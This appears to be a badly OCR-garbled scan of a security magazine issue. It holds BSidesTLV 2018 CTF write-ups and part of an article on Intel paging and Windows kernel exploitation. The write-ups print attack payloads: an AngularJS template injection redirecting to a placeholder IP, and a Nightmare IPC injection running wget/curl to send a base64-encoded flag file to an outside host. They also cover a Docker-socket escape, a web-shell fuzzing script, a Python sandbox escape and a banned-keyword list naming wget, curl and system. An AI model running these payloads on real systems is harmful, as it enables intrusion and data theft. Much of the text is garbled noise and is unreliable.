http://two.challenges.bsidestlv.com:3000/

Technologic

S v .ngapp ~L*_ s X 14

Example

Let the body element become the root element for the AngularlS application:
<body ng-app=""»
<p>My first expression: {{ 5 + 5 ;}</p>

</body>

Try it Yourself »

Need for Speed rivals

$20.00

Wl

-~ DOEE

.......

-S "s 14 . "angular

~

i

v .

" q X

I x 7 "Javaserigt | x «

“

. ¥

X

IJavascriptl | x:«

sandbog X

14" .

ced oL s s Sast x AT x4 LiveOverflow -
- ox oA o e Lo o 11 ednstructorcondtridctor |
. X s 1 Lo 1 S - o 1 . S
\ {{c onstructor.constructor("window.location="http://IP:8080/exp.htmI™)()}}
UserAgents ¢ 41 | _ s © ., s s X | X7 I SIP 1.0 _Xo J¥

User- Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) = Chrome/58.0.3029.110 Nightmare/2.10.0 Safari/537.36
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https://www.youtube.com/watch?v=67Yc8_Bszlk&list=PLhixgUqwRTjwJTIkNopKuGLk3Pm9Ri1sF
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s b 4Y " | ¥ Nightmare/2.20.0 _ X ¥V 1., 1+« 1 ¢ 1

I Massive security hole in nightmare

(Ce =Ll aight8 opened this issue on Mar 27, 2017 - 25 comments

“ aight8 commentad on Mar 27, 2017

The __nightmare object which is set on the window object, it contains the whole electron ipcRenderer on it
and it can be accessed by any website If they only want, every website have access to core electron features.

Furthermore just a deletion of the __nightmare (set it to null in the websites code) will freeze the evaluate
method.

https://github.com/electron/electron/blob/master/docs/tutorial/security.md
electron/electron#7929

X" L PGS 4~ AN XX ¥"IppC L T %L ~RCEVYHXS L%l % .

‘flag-s
var args = [{ type: "value", value: "/usr/bin/wget http://IP:1234/ cat
/home/bsidestlv/flag.txt | base64 - wO0’;/usr/bin/curl http://IP:1234/test;"

1;

s o wXs flagst T A LT x 7L X (I9340 XX 4 He M x XS

~

\ BSidesTLV{AngularjS_is_Freddy_ Krueger}
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https://github.com/dyntopia/exploits/tree/master/nightmare-ipc
http://ip:1234/%60cat
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Shared directory (Forensics)

Description:

w

LQ@S / 2wNHzJI SR G K$ iHellete§ou it knp® hod i Bix itd)l y NB| R A (i H
P.S! like myWINDOWS machine.
i Made by Nimrod Levy
=X,
X {4 X s . x " {s q€ ~ ¥ ¢ v S . X oA L x " X L] S
S, «_* + LCRIFWINDOWS " | ~ . 4 x X, x4 Ts s s
. s yxs"\n)xst,X’jXXIxL,Fﬁ[x~ZAV”<ZV~(s|_LA y x s ” N . Pl
.\(\I’]) s .x s S I X « GR\LF:X~A ”
TotL Tt L ox e b ok os 0 tar-Ball YX L . X SX KT S x ]
LFCCRLFL ]~ 4 st v 4 14~ X
L.+ o _modleljsod x % < " X% RN S0 {1 xy T {Xx X x (s
‘Femtozip * x I 1 x L _  jednsiX__« *s Ljsorksxs §() x « LT e TS X X
File Edit View Search Terminal Help
BLNCHCHGFemtoZ 1 pRCRCHCHCHCHGHIMG: ' | 101, 'flag': 'B
5 V{ImNotTheFlag}', Poe n', 'ty 'email':
: 105, 'flag': ldesTLV{ImNotTheFlag}", : : 'm', 'type
"email’: : 111, 'flag': s 1desTLV{ImNotTheF1l
'm', 'ty , 'email’: s : 12, 'fla
esTLV{ImNotTheFlag}"', enc : 'f', 'type': ‘'for ‘ema
‘age': 31, 'flag': 'BS sTLV{ImNotTheFlag}",
,s”Jst Z\!'|Z-|xy”s><vl_ ss:vx”\” 4., x” , Zx)Fethij~ :’XX'I:“JiV . X X
S "l s Lds ¥Xs
'_'r.'..J.IIJ."_ W
In file included from DictionaryOptimize
IntSet.h:35:24: ‘constexpr’ n
const float femtozip::IntSet::load factor’
static const float T
Optimizer
virtux/
oxale/bsides/femtozip/cpp’
"
flloat load_factor
e L - S I RN S R B T N A
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File Edit Selection Find View Goto Tools Project Preferences Help

| firstname': u'arle
*forensics', 'email’
'BSidesTLV{ImNot

flag.txt
u'shalne', 'age': 103, a 4 4
@gmail.com'}{ ' firstna ind*, 'ag
outlook.com' }H{'first
‘forensics', ‘email’

g r': 'm', 'type': 'forensics', 2 + 'wynny
*lastname ri', .
‘arl

j 'BSidesTLV{ImNotTheFl 'gender’
@aol.com'}{'firstname': u'rezalin', 'lastname’ yl 'age 'BSidesTLV{ImNotTheFlag}"
forensics', 'email': 'rozalin.beryl@yahoo.com'}{ 'firstname': u'christal', ‘lastname’: u'annemarie’', 'age’
'forensics', 'email 5 r ahoo. com' H{ ' firstname':
g ‘B31d»=KTL‘”ImNDTThPFla(!}‘ g ‘forensics', ‘email
.com'}{'firstname': u'gennifer’, 'lastname’': u'j . : "flag’: 'BSidesTLV{ImNotTheFl
*forensics', 'email': 'gennife outlook.com'}{' firstname ‘lastname’': u'tatum®, *
639", 'gender’ hoo. com* )"f1|<t
orensics', 'email':
'BSidesTL\ ImND‘rThPFlad}‘ ‘gender ' :

, 'type': 'forensics', ‘email’
: 8, 'BSidesTLV{ImNotTheFlag}', ‘gender':
ol.com®}{'firstname *lastname u'damara’, ‘'age’
yp *forensics', 'email': com'}{'firstname®: u'lou’,
'zqsdﬂ abal3423 -qusbSﬂlezdl:bzdf‘ pe': 'forensics', 'email’: 'lou.e
*lastname’: u'gwendolyn’, daacl24af’,
w/»:ndaly : : u'gaylene', 'age 2, "flag":
'lastname’ :

LImNDtTheFlau} ', 'gende
‘lastname’': u'petunia’,
nail.com"}
ype': 'forensics', 'email’
u* penm 5 . 8 w’ImND‘rTh Flag}', nder
ol.com'}{"firstname r *lastna ' 6 *flag': 4 d6
"type': 'forensics', 'email': : u'priscilla’, u'lillian’,
'BSidesTLV{ImNotTheFlag}', 'gender': 3 € .11 H'firstname':
u'dalenna’, 8, 'flag": : 'forensics',
com' }H{'firstna u'nicolina’ r H

‘f::l n=1c5 13 ‘=mal‘L

dbed*

‘email
'gender’
flag':

u'gabie’, *lastname’ 0 ag E 0 9 dd! 4@&14[!(365 9",
"email *gab ama al‘L ru' }“f1|=rnam= astna u'michelle’, ': 36,
8 'type': 'forensics', 'email': .com'}{'firstname': u'sella’',
cd22631a7f2cdcc84838bebadazcgl18" ‘forensics', ‘email':

e L dson e A AsTS Ax s I A

import oS
for filename in os. listdir ('ou

data = open( + filename ,'r'
print eval (data)[ 'flag" ]

sbash -+ . « x

x X . 0

BSidesTLV{F3mZ1pisTh3B3st}
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T.A.R.D.1.S (Crypto)

Description:

Watching the timelines has always been awhyut a keen observer can learn a lot of informatifpn

observing the sidelinesto connect to the challenge use tHiak

Made byGuy BarnhartMagen

X

oo

BGioes

Time-based side-channel analysis

Background:

In ervptography, a side channel attack is any attack based on information gained from the
physical implementation of a ervptosystem, rather than brute force or theoretical
weaknesses in the algorithms (compare cryptanalysis).

For example, timing information, power consumption, electromagnetic leaks or even
sound can provide an extra source of information which can be exploited to break the
system.

Some side-channel attacks require technical knowledge of the internal operation of the

system on which the eryptography is implemented, although others such as differential
power analysis are effective as black-box attacks

Instructions:
YVou will need to figure out the password which is also vour token.

Use the password verification timing information provided by the server as a side-channel
that will leak your password, which is a 10 digit number. Think how the verification of

the password might be implemented by the server and what you can learn from the timing
of the implementation.

Password :

Saolve

If vou encounter any issues, please contact: ctf@bsidestlv.com
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http://two.challenges.bsidestlv.com:5050/
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S
for ¢, p in given_pass , pass:
sleep (0.2)
if ¢ != p:
return false
return true
oo XS s XXX FT X cs g dxx s L ixd ] T
Lo X 40X X .8 B ¢ s Coe T <09 7 % d s x x s b [ sse tise L XX
s q x « X8 X L X X ”
X x ¢ s 1

Your flag is: BSidesTLV{7456urtyifkygvjhb}
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Crypto2 (Crypto)

E Description: |
In this crypto challenge we taking the basic crypto ciphers a fie@yard! While not venturingi
| FLNE &2dz gAff y2G FAYR GKS ONBLIFylIt&aral a 200A
Made by Guy BarnharMagen

X
T N T T U N N N S S N R R
~ * lIsubstition cipher r I I L Pl x o xmos o dxg o X {ogs, " Lox T x D
S T o S R T B (RN ST A T R A T S A

s_.1!ss "ReadyPldyerOne"~ , . . | ¥Y2NF1 Q&8 Ly@gAdlGARYDHIERH. s

DX e L. cxdlx Ox o os e {X U 5] g X
"K'} -to R? dZ -&dEN& U
abcdefgchijhklchmcnoipcmaghr

R S X w Fd s e dx X AL ke o ) AT

abcdefgchijhklchmcnoipcmaghr
Everyone my age remembers w
1@ ., @ _1xx.,h 4Lb175x«, 0 “ 0247 1 4,xo s s | 1ss .
cl e o x e s s 4 b s T s Lo x o DX D X e x T Xy

ere and what they were doing when they fi

ige(len(s})):
‘dic[data[i]]

dic[data[i]]

data:

print (chr(dic[i]),end="")

éic[i] ord(input())

dic.i
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51 an avatar'''s
ksI car
49
671}
x ", . . L s v, " J , 1 Lo '1 x é”.l A v|_ X)Q‘HVL X v~é-|xx 32 S'IN)'IXSAVY,'A-ILS
6 , 111 "~ I é}.']’”L fvffff § ¢ X”,,v‘_N x ] ’_)~x'|.|" L
| 1 s . S .

BSidesTLV{49489416671}
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Docking Station (Misc)

Description:

| Mind having a look?

ssh bsidestiv@one.challenges.bsidestlv.cpra222 (password: dOcklngs

t4t10n) |
Made by Tomer Zait!

X
, F 10 x 1 v 1 ..DoekerCdntainer ¥ x 4 *+ 4+« " xSk " . X ] T XS
b'x .y<ixslagph _ ~ _ socket x s ¢ s x | yvarkuh/dockersock® x 4 1 47
S X
~ sotkett 2375 x " L _ 1L« X s 1. x s 1 oo , x
s | X S X .
ssh -1127.0.0.1:23 75:/app/docker.sock bsidestiv@one.challenges.bsidestlv.com -p 2222 |
S . X's s X X S N L X ”
http://127.0.0.1:2375/ x “+
€ ®|127.0.0.1:2375
Most Visitedv il Offensive Security
{"message": "page not found"}
T s s 4L Y oL - 17 Lox X« Tapks. x| ALy

/ containers
/ containers
/ containers

/ containers

name)/ json
name)/ top
name)/ logs ?stdout

/ containers

name)/ export

L . Sox ocal=l ¥ Kitp:A127)0.0.1:2375/containers/json?all=d Y {7
v qs S .. XS s xpl ® o s 4contipefs- d 7 _ *  cOntaihers® (
s x s s 1xs., xs_ ] I xx | ]s « X 1 - Command®"/helld x *
dogst  _ ¥ ¢ % .~ " 4417 x < Command":"/daksh » ¥ § 1
Depeapatotal 12
[egBBeE+drwer-xr-x 1 root root 4096 Apr 27 17:37 .
666666, drwxr-xr-x 1 root root 4096 Apr 27 17:37 ..
[eeB6E62 - rw-rw-r-- 1 root root 44 Apr 27 17:08 flag.txt
L x X ¢ vl kapi endpoidts - X expoft s L U TS I I
flags -~ o+ _ _ L Tox sy x ] s
BSidesTLV{i_am_r34dy t0 esc4p3_th3_dOck3r!}
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https://docs.docker.com/engine/api/v1.24/

C1337Shell (Misc)

Description:
What the **k?1 have RCE on a this machine but i can't get the @ag.you help me out?
| http://one.challenges.bsidestlv.com:5000/c1337.php

Made by Tomer Zaité

s . X s I s x "o Y « x A

#® c1337Shell v. 1.0 pre-release build #418 §

Software: Apache/2.4.29 (Debian)
uname -a: Linux 96bee8897359 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 GNU/Linux
uid=1000( bsidestlv) gid=1000(bsidestlv) groups=1000(bsidestiv)

Safe-mode:

Jfapp/ drwxr-xr-x

Free 55.53 GB of 76.28 GB (72.8%)

Result of execution this command:

:: Command execute ::

Enter:

error:" b 4 LS X oo 4T s L Tei A T e Sl X o T, s X

Fdeoox o w A xoxoo x4 Had charastérssfourtd 4~ «

def 0:
allowed = ]
for 1 in range (256):
resp =
requests . post ( 'http:/challenges.bsidestlv.com:5000/c1337.php' , data ={ 'cm
d :chr (i), 'd :'app' ,'act’ :'cmd' ,'submit’ :'Execute’ })
if ‘error: bad characters found' not in resp .text :
print . format (chr (i))
allowed . append (chr (i))
return  allowed

", '\n', "\x0b', '\xOc' |,
' T |_| T |/l
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http://one.challenges.bsidestlv.com:5000/c1337.php
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Feo. o TeEho dNPUT" S x Ty X s ox 1. S XNTHIA LAY e e
SX s T4 4T X o DbESRE R s X

Result of execution this command:

fapp fbin fboot {dev fetc fhome [lib flibe4 fmedia fmnt fopt fproc froot frun fsbin fsrv fsys fimp fuss fvar

Japp/fifiiflag/flag_is_here/flag.txt. 1happe Kx o, x4 o408 XX

Result of execution this command:

{appff{fifiiagfiag_is_herefflag.bd

X R v 4 . [binftat, x " 0% _siflags . <t 4 s 4]

~

1Lk 4"che INPUT" ™ x " v _ X« {s [pinfcat « XSS ixxi{ | ~.x <.,

v

| ;12221222 1222121221712227_22_2222/* |

. X s . X s

° ~ ~

|ARET KYAET YAAO YAEI YAEO YAEI YPxA A YAPDPYAEYA VA ACY Al A

10 s flag® | X« LX< x

| BSidesTLV{1_I1k3_wildcards_&_ r3g3x_but_h8_th3_cr34t0r} |
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PySandboxnsane (Misc)

Description:

BANNED E
"realgam3", "digitalwhisper"”, "pycon2018",
"+“' ":"l "%"7 "*"' "="l ! "’ "{"7 "}"7

Il\\ll’ II\II\IIII’ ll\lllll, Illlll’ III\IIII’ II()II’
"import", "exec", "eval",

"pickle", "marshal", "os", "system",
"values", "popen", "subprocess", "input",
Ilsysll, Ilfilell’ Ilopenll,

" dict_"," init ", " class ",

" base "," bases "," mro_",

"None", "pop", "read", "get(",
"replace", "insert", "format",
"encode", "decode",
'‘warningmessage', "linecache",
"listdir", *__subclasses ",
" call__", "func_globals",
"cat", "grep", "flag", "secret", "http",
"wget", "curl", "curl secret/flag.txt",
"for", "while", "iter", "next", "join",
"i know you hate me"

]

Escape the sandbox and bypass the firewall to capture the flag!

nctwo.challenges.bsidestlv.com 3030
Made by Tomer Zait

i, . "X« +« . RythgnsSandbox-Escaping * 1 ¢ ~ _ x: -1 s ., X

s
X
s 1 X s ¢ X ] s L Fod X P S I x
s 4 systeimx
x 7 i« X s, x.l x 47« X L S L S ] S L X ] X
Tx 4 L .
« X S X X q
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__builtins_ . __setattr__ ( , __builtins__ . __getattribute__
)). mro( ). __getitem__ (1))
__builtins_ . __setattr__ ( , 0bj . getattribute___ (obj ,

)

__builtins__ . __Setattr__ , sub ( ). __getitem__  (58))

__builtins_ . __ Ssetattr__ ,war. __ getattribute__ (war, ._add__ ( )
__builtins_ . __Setattr__ ,inp . __getattribute___ ( ._add__ ( )))
__builtins_ . __ Setattr__ ,fun . _ getitem__ ( ._add__ ( )
__builtins_ . __Setattr__ , lin . __ getattribute___ ( .__add__ ( )))
__builtins_ . __setattr__ ,dict . __ getitem__ ( .__add__ ( )

__builtins__ . __Setattr__ , pus. __ getattribute___ ._add__ ( )))

sup ( ._add__ . _add__ ( . )

11 1. x .0

- X X X ‘I
__builtins__.__setattr _ ("var",value) var = value (" =" )
var.__getitem__ (value) var[value] ("1 ")
var.__getattribute__(var,"__param".__add__("__")) | var.__param__ Sx %Al
func( ) func()/func() ol 1w p X
[+~ §x <0 "y tab* | ~= x o, T JEX X XX e ¥ysxo X 4, ¥x s T T*
L L X « x 7o I x . s -|JIXS“th|_|,iy,4Z’ 147

__builtins__ .__class__ . mro()]
obj . __ subclasses

sub ()[ 58]

war. __init__

inp . func_globals

fun .[
= lin . __dict

dict [ ]

pus . system

BSidesTLV{l_AM_The_Python_Mater}
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FX 1A

I x4 X x g0 X %74k 1 XX ppdf Yy eos X x 0  xx , ICTH x> | 1
kS

D G JLSVX (L'|xsx <L|XS~ LYlSX-WtﬂbV\ﬂ ,,X:)L q

TX 0L~ L S SN I 44 x "4 4s o x « |AmBruted f _ ! L Fddx

. ¥ v s s

s 4d i+~ « php*deseriglization _ . x1 L x 47> 4{PiMpMyRidé - L + L X |

ngpp ~Y¥-+s " x., o o {1.1s s+4s | XGamihgStore 6 1 -
x4 1 facepalms v~ x0T AT v d . X

Lo r Saoreboards N s X4 ] ~GamirggStoigx X7 x . T s ~ ¥ I .S FX A

",x*:*“x:“+A*‘Li,XF“L: S-Ix‘-svxv“:*Al"LS*X(X‘-‘~: "V'-A DX oox X s

i1 'GamingStoré «~ ~ © xs 4 -/profiled 1T Al dx J 4 +isx T {47 "] X s

J Z,,X]Z(sxv.|>j_k~x“$v.|$vx
| Xp ¥ 881 o XXX qasy TLSX X S XD ] e X] Xiax 7 *:*X"‘A‘L-”'-SE* ] s 1S
s €T L v A e e X SXT O Hsc ] o Y ] X Sxs ] Psy X s g7

s 14 _ ) A Yy s Ay s T XS s xdmlnR | S x L (s 44 FX O X

(o stk d sl e ey S04 s D0 s L T
S L 415~ 4%, 145 BSidesTLV x x . , S X x 1 3CTRdaadamn:reclass-L, s | x :
| s ¢s rQTES! soo x 7 s 4 s . L ,_s.|IAL>< , o~ 1 s F 1.y

[https://ctf18.bsidestlv.com~: x «] & *
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Intel Paging & Pagé&able Exploitation on Windows

s 44w x

S « S
* 1. XX CXntels g X X S s X ritel 1 iB86x ! X 11986 7 . A
MMU-) ~x . 1 4¢ Lxdntel” v _sTA T4, 8408 s 5325 vy~ xx5p{c =]
Ixrer o ox b s, 4N L S Pagingk « 4 (MearyManadgethentUnit
. {1 % . . . S L s L o S , Z.|xL.|\”x,,1I,,x.|vx5 X iS)qL’:AT,‘iSOS X NZ > 1.
A e s Tx L 4O s 40X A x by
.o P14 X) rox s Do sMeldewny F 1 L1 Micreseft 2088 .1+ x 7 X
XS oo Y 0. oo T x 1 {4%s ]  Meltdown Spectré " x I ¢ ] 4

selfref-s  (Owners 1-4 1 1T 4 11>*+« . KdmmelMemory ,. x*x])4 X1 . (s _ ~» *x

Idoes s cle o~ s (e oSS %Y xPMLdtsentiyd )T T W s xS
Ll 1 x 2% - I0UGBs*xye X ! xy 1 X DX, s o T
s .~ ¥ TotalxMeltdown + _ 1 s )¢ s L x s A TR BTN XXX ] Py
2018 | - _ . X _ Patch( Tuésday s s _ . 7 . OytOfBandg OOB s 1 1 * « Txo X

\Windows 2008R2 68it . WiRdbws 76dit « . S 4 s s L x1s

O e i TS I I SNPGRS I S S I A
v XS Tx o, 1 q4Cs L xs {7 B A T O U e i I ) I T S P TR

R R I s " 47X DX o] s s X _ s X L
471" X . L - XXy -|”I,,VI Xg] ss | o S X ], . x =x ., 1 4¢s L s x 7 .
X e x ] o X X X« o X DX y x | I X , P S 474X L I X s s x
_I” X . L = x " % ” s L X o _I ” L ., X | ” | _I « _I ., X X N ”

~ A 1 A > v~ ~

Ix - N A ~Pagings_ L7 xs” ¥IUx .,

~

SMEPx _ | = x{”.IRingo>: x"ys ]

Te X 47 0 xSt ] XX T X, s

Intel 11! * _ Windows_: 1Paging® ~x ! _s Jluis _* 744,
, X% .+ 1Kernel Exploitatisrt ¢+ ¢ x -~ .41 o~ X s 4]0 4
.« ox "X i e F 4., « s DX Lox 7 <L 11 L I
L x4 v e - 440~ 4 Windows™ Kernel g+ H AT K XL s .
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Virtual Memory vs Physical Memory

.YouTube* ~ d{DavVid BlagiSchaffer . Virtual Memory  ~» *x «s (x> 417 ]x

X 1A S X T L LT SIS X G T LIS L X T X T x4 Ty
X 4SS A x T, 948

L~ _S L _ s 7 xPhysicalIMemoty X «x s { ¢ {

LS d s o b s o x b e RAM TSX LT §s X
L, X € L% ~ LU v s S X0 A s ATsx LI H D e ) x4 A X oo
cXx ol e x s d s w4 AT v, st Ay s 4 ds v L X

X .14 s 4 s xS, x,Xs s, sy ss

Te  Tx 14 S s Do xs, b T e Jsxl g, s Isqssiioxe () ¢ Ao l44se 1 X
SXx ol X SBXA | X T X R P, s 4T, s e X s s T X
A st EY AT v Al A es s 4 0 Txx 4] OxE337_1 14

X Py x4 0 P0xkA337x b 4

Process-A PhecessA

0x1337: data

1.4 0 X AT A rx s o T x e L oxx s X
X PGB S LA-S 11 3 XX UL 4 T HAA4GB X " S A X T LAl 4 T x
I 1477 , 1 2GBIs I.C Y4 X x, JHIGB s B~ 5 o, 1~
LAS "1 v B B7121sex 4.5 soL. 1477 s ]iss
D O I =X A s = x
A (1 GB)
B
(2 GB)
Free (1 GB)
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"HIGB ! x  x 2GB 4 AGB-: 4 1 s« .7 x0T x o, P ASIsy I IS4

DX LS I e G ST T TS ss L G XY v Lt X T 1 s x 8
S oos o d . v L T e xx b x

Px s xS X A4S o x T T e Ax et

194 s TxX2GBRAMS. .. XX ] 4 32 X XD oxpIXxeo XXX ko Xl [ x %]

s 7 { « - OxFFFG0Q00- * x © | DY L s OX7TFFFFFRFO | i X xsil s x= 4 x X

LS oA =TI X L T

Fd X s o0, sd w1 %« <« _Virual Memory X k4 ¢ dux {4 xs T F
cx by ixexx oo x 1, 0 (Ao ex 1.4 xs Tx o, 14 Cs )y v A
JALOKIBE7 © 4L~ X1 4xs S Xxi s L, x_]) 1., " T x.ox 4,

CB 1A LOXIB37 S 4L x 1.4 xs DXk Ispisxox s I AT Fsx ]

N I B bdldLs s 1 xlogx A Cx oy s
X L o { X . .|V " x . o X L . {4 L« X 3 ,,)-| Xe X 88X ] f ™ 1% H.Xx vs I
=x ., 1 4¢€ ><-|”v 1 4L s Lo oL SVIV 1.|,L+)¢(1;’>g|x:_rxkxl,4§|; by

<-|>g,,|_xl\(

Folo Tox X 164 s =x ., ]4¢s - Ls CEHL X ] e X A X
Y :-n:'I(':"l> =x ., ]14q°¢ “-l)vv ,,IA_-|s<>°’y;>ss~x>€y.{~=.|>§_,;3;_|¢s.|;A>z<>g
DX XOXFFFC0000: 4 1L~ X 1. 4xs I Xx I s .o x0TI 4T px

Sssx Xy X x D] s {0x100001 L B S 4 32Dk X X Ml FE® X, s s x Xy

Pagefilee )~ 4 Xy x ;¥ Ix{s DX x JARAMLL ~ KX L H XL TX% 146 T K
PagingOut 1" 4 ¢ ) o x * 1. _ _* +v44«__ Paging fF+< X x4 |
DX L e x 1, X DX X x 1], ~ » 1% _ _Pagefilel . s _%x, | fXs |d¢ L
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194 Txo, 149 100 XOPGALXL 1T L o406 T 48X L {Gesd x 1
Virtual memory Physical
(per process) memory
»'1
it =
------ X
------ " RAM
)
- r"
""""" > (o)
4 .
Disk
x 4 ¢ 1 DX Xxoo ]y DX X x 0 ]s s FY oot NEE I T4 sy x "
Intel Paging
L 17 % Pl by xo 1108 Lol b XX {1 , 440 s . XX
Loy ox X = x 1o CF X x o, s Pl X Looxd 0 XXX ]y
PAE r x86 x86- - x " x _ b B T IO I I P B RN FXY s

x86_64- _ x _ % | X

<

WinDbg* s " x| s Lo bx s Yatel A4ihe> ox o sI@n o xx M shoXDpux
x " 44+ _  SQydintefnalsi corkinfo.exe * .~ ~ s 4 llcpuinfo , s I"x]x s . s 1,0
X 1) LoX 1x DX Do X hsx o] Dixboxo 4l ox ”

Intel 1 ¥ o : s " x lepuinfo™ * xx 4 1t "SSMAPXSMEP L s . . (

kd> lopuinfo
CPF FrMrS Manufacturer MHz PRCE Signature MSR 8B Signature Features
0 &.60,3 Genuinelntel 3201 000000Zz200000000 0000002Z200000000 a0cd3fff

11 1 -
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x86 Paging

PA- " osco) A4S A DX x o MA-Vistdal'Addiess ~ X0 sx )X i ox T (40X X
:X'IL\-X'I”'IX :XXX:J _-Ix S> !”'I,.,J" WSJE@!Aer&S'I”X" s "

v~

*xo x86% x ™ _ 44« FqTox TS 17 Tx -4 L1Xxs .«

X 1 es e Y Tx L IS kxS xx Fx AT X

D44 X o xy X L x s X4 st AT 1, L

L. 14X r s X x T L e x4 x DX x ] ] T4 s
L. oA x4 x  DTx X)X ], o s AXLSXD oISy s\S s i xs (4. "Xx ssdl
LX L I LGB L | 4 S L XY B2 M e T T AHeBE . X T e

. L L J x 'I L - ‘I-I”‘I L“gL;' X=XXA-| AZ/'\'32X X x J

P I N T O [T I 2N A SO I B R SNEC RN
1.1 Page ¥« , (5%~ r 40xE00Q 4KB 147" , © 4 x _ _ XA x7 .y
LS Y O0XI000 L L S ox x|l X x4 IxXx D] . oo~ A5 q
LoX X OX10BA7X: X x D ]s  Lx X T PAsi{MAS T 4% s 4 .q{ . sTx X

FAi1Rs x4 e x DX x i Is o R0 14T x L A% -HOKIDOTOS v X xui.] s”

P47 XD 1D B2X 0MIQOD0s ~ 4 s X Ty os o Dox Xx Dols {1 x %X
PT( *PageTable- s *© ) x7" o 4 x 4 s 01> .+« s yxI ]|
I'x s PTE »®PggeTébleBntry ~ o s{.5)1 = X x 1 | x7 p I x s 1. s

OX5547 * 4 s 4 s _yx 1 X 1 x{ 1 o x _ PAS” YSOx5000 > ¥ 94 % 1.4 x5 ] (o
DS b4yl X sOxXBOfeMd « s s«

~

Virtual Memory Physical Memory

0x10547 P 0x5547

0x109f0 — 0x59f0

Page Table
[ va | e

0x10000 0x5000

Intel Paging & Page Table Exploitation on Windows
www.DigitalWhisper.co.il
69 2018 1, x97x7ux 4 LY




Technologic

1ix  4MB d - 1. " 46B/4AKB=1MBPTELx100000 " « ~ " 4. 1.7 [ x” s = "X
- 4P x0T 2)PTES x L XY X el (X7 .1 ps A L pd XS
,sued1e s 1 X L AMBlIy X LM ARTES 7, s Lt e 20300 ¢ x Ty
Idos s 0 TR X 4 > e Y Dx s 44AMBY T, XX s T s L XX
X Tx X o x . {xs Tx, ] 4{&s X
L] <« (Chrdm@+ _+~1 2350 8¢ . 1~ % ¢4 .. sy, Tx]7
SingleLevel Page Tabler ¥+~ ~» <7 [ x 7 s  TXxo, pXx 1 i s84pX.xs
texex 4 d . s s (49 0 e e X LT T, LAY Y X
©x L CantextSwitch , ~ * 4 _ ¢+, o1, 7T IRAMs | gomMB, 1 . 47 X
L, sx7x g s e ox o ] v BT x g O XAMB AL e, 0 T
sy iv” I A DL N R U [

~ ~ ~ o~ A~

Ut T x 1024 4 X ¥ X x4 s Directoriedl " L F o4 4, (A x st
D(r AGBY L L X« 1024 % K« Al 102440 x> ] 4AKBX L s 1 "1024% 0 x 4 < 4
Page Directory ~ ~ « "~ _ « , X HMKBE s s T s T Fx L Lk ® b ., DX

Page - ~RadeDirectof -~ * 4+« 1) ¥ .| x 4 XA4KB X X PTXR ) (x4 < 1

X, JAMB ' X PDE L X )X «s s x PDB xBirectory Entry T * x _ |

A e oL Ty b hxos o, D PRTELO24 ¢ X IPadeTable € s s o x L]
FAT X T RIR ses w XS V&S, XIX Ly L, D7 x X T x.s I s v
s T X s e s b o o L10 xS A, sE AT XS ] S ys XIsx x4 4 s ]
x4« bx o O PTEHCEH, PFES K2 o4 w A _x 0 _10%r s o fsXs
v« " PgdTadlee * x4 x> bx o PDE L dAEA JIXxAd L xq4dxs |

Directory x * x « o 144 _s 4 x s, xX
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. «Xx86 ~ ¥ 44§ Pdgihg « ¥ XL ><‘2<>i-||=\><3<>s\9<”A‘s~ ~I]s = x
et s s xf o4 l. s D10 oedresecurity.com X Y1oXiw LT x

Linear Address
31 22 21 12 11 0
Directory Table Offset

12 4-KByte Page

10 10 Page Table Physical Address

Page Directory

Y

Page-Table Entry

Directory Entry >

30+ 1024 PDE # 1024 PTE = 22° Pages
CR3 (PDER)

*32 bits aligned onto a 4-KByte boundary.

Figure 3-12. Linear Address Translation (4-KByte Pages)

12x v s 4, 1+10 pAAX4Q-, + +3d >4 ~x1,4xs < XxI1]s Coe Lo~
O T B B

DXx D ls x . PDES |5 _ X _ XM kA kWO X A4 sp s 4142 .
X

COx20, « x s "X, S ok 14 4~ PBE L L, pdli Yy xS
PDs 04T Qx80kd F X1 4 s XPDES. 4 x T L

117" PagaTablée o 194 s ‘PDE*: .3 s e .

PDE* x " Page Tabk PTES « _ , ~ ! " 4«0 ¥ s 40 454 %s 4, .
X "PTES  S0x15 ,~ xS x| 110 v+ 4 1v41%s. v 4 <PFE L J ¢ d ! XY | Lx _+ ]
.PDEs . x " PagelTable o _ DX x IOKBO L _r 410 X4 s x o oA

D x i ls D44 . x 4L i xT.4xs Tx, [ {CSPTEX 5 s x _

X7 o ALy x 1. { xS

PAs « 1 s Lo n Z-H»s<v=sx,,'j<1(ﬁ‘.sjsl)<_jA¢X 12* 1s 6™ 7" x 7 s
FY o DL VAL IS v s

PSS X x DS 1x 4 _ s {7

Page Mapping 1 - -~ Page Directorst Page Table

~ o~ ~ ~

Two « » «7 dLr«x1.4xs " x., ]4{¢s Page Table LevelxleVe| (PML) *x 7 ¥ . s
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st ,8s Ll 4 yxA2yxy Tx 4847 s LeVel PagelTable* x . {s

B T TS T R (e

1x 4 s mx L , X Os 3016120 s« ¥l s xx T s Fgx5 S

Pl x s 4 L. 4KB _ ! 494 (. T x . 1dPagel Table/Diredtdyy L | SN
LS X X | s X

x{ . PTE/PDE. It ,JRTE/PBEL 1. v 41 _ . _«~ 1 4_s 1+« «_x |

s nx s px Yy Lt pdos X ots T oG
20+ . _ "PFN x Paye,Frame Nober +~ ~» « 7 s ¢ 1 4 {4 ¢4 s T x., | 4{¢X
I'x  PFNsL _“Ox218EA025 - x s PFES [ - , S PTE/PDE K+ H " x4 s I I B

Ox218EA000« 1 s | x _ s | _ OX2WBEA{~ xss 1x¥"xii | s xl { s *x x|

~ ~ ~

x . 1 4Ss p s PENS I x{§ 340K _ 35 I OPTRPDEL | x,"s € 1 414 14 1. %

Supervisos  xUse) ( _ _ 1 _ .S ~xs T x ., ] {ReadOnly *xReadWrite XX sp « s X ’

Software Memory 1 © " | I Hardwaré Mémory « 4 (~ _x 1 T~ x. ] {Kerne) x s T x . |4

el L AT X2 T4sY v d A A d, x T x Pagefile* v+ Av1.~_"s_ LTIx . J14XE xx
.PDE/PTE

cosdevorg ~ -~ S . 1x<1. +r PDELUB) 41 s

Page Directory Entry

Page Table 4-kb aligned Address Avail |G| S|O|A|DWJUIR | P

G - Ignored

S - Page Size (0O for 4kb)
A - Accessed

D - Cache Disabled

W= Write Through

U = User\Supervisor

R - Read'Write

P - Present

c(ee Lo T4 0) rAdrybs s

A4S Tx L, 14 S o0 - \WinDbg* V xx\alids r ¥ « tPresefit xR X1s ¢ «
L.o1L si ., sPagéFaults .~ Sd 4x . 44 Tx ., 49 s Xlx
Seds s Lax 0 L lX s ss D, e x4 s X
